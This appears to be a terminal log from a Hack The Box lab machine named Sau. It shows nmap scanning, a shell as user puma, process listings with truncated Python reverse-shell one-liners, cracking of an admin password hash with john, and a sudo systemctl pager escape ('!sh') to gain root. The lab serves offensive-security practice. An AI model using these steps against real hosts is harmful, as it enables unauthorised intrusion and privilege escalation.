┌──(kali㉿kali)-[~/htb/sau]
└─$ sudo nmap  -Pn -p- --min-rate 5000 -oN nmap.txt sau.htb     
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2023-08-12 03:34 EDT
Warning: 10.10.11.224 giving up on port because retransmission cap hit (10).
Nmap scan report for sau.htb (10.10.11.224)
Host is up (0.30s latency).
Not shown: 65530 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
7987/tcp  filtered unknown
8338/tcp  filtered unknown
55555/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 25.37 seconds
                                                                   

$ sudo nmap -sU -top-ports 50 sau.htb
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

$ env
env
USER=puma
HOME=/home/puma
LOGNAME=puma
JOURNAL_STREAM=9:21758
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=cbbaaf8aa2c84ee382f8a44d1e48c02e
LANG=C.UTF-8
SHELL=/bin/bash
PWD=/opt/maltrail

$ cat /home/puma/user.txt

python3 -c'import pty;pty.spawn("/bin/bash")'

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:8338            0.0.0.0:*               LISTEN      897/python3
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::55555                :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -                                                                                                                                 
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d 
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                              
Matching Defaults entries for puma on sau:      
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:                                                                                                                                                                  
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service   

$ /usr/bin/systemctl status trail.service 
● trail.service - Maltrail. Server of malicious traffic detection system        
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2023-08-12 01:33:34 UTC; 7h ago         
       Docs: https://github.com/stamparm/maltrail#readme                        
             https://github.com/stamparm/maltrail/wiki                          
   Main PID: 897 (python3)                                                                               
      Tasks: 49 (limit: 4662)                                                                            
     Memory: 358.6M                                                                                      
     CGroup: /system.slice/trail.service                                                                 
             ├─  897 /usr/bin/python3 server.py                                                                                                                                                                   
             ├─ 1151 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed …
             ├─ 1153 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed …
             ├─ 1160 sh
             ├─ 1161 python3 -c import socket,os,pty;s=socket.socket(socket.AF_…
             ├─ 1162 /bin/sh
             ├─ 1163 /bin/bash
             ├─ 1194 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed …
             ├─ 1195 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed …
             ├─ 1198 sh
             ├─ 1199 python3 -c import socket,os,pty;s=socket.socket(socket.AF_…
             ├─ 1200 /bin/sh
...

# User entries (username:sha256(password):UID:filter_netmask(s))
# Note(s): sha256(password) can be generated on Linux with: echo -n 'password' | sha256sum | cut -d " " -f 1
#          UID >= 1000 have only rights to display results (Note: this moment only functionality implemented at the client side)
#          filter_netmask(s) is/are used to filter results

USERS                                            
    admin:9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc:0:                        # changeme!
    

┌──(kali㉿kali)-[~/htb/sau]
└─$ john admin_hash.txt --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou-75.txt  --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-08-12 04:58) 0g/s 2959Kp/s 2959Kc/s 2959KC/s beautygirl..171183
Session completed

puma@sau:~$ sudo /usr/bin/systemctl status trail.service
!sh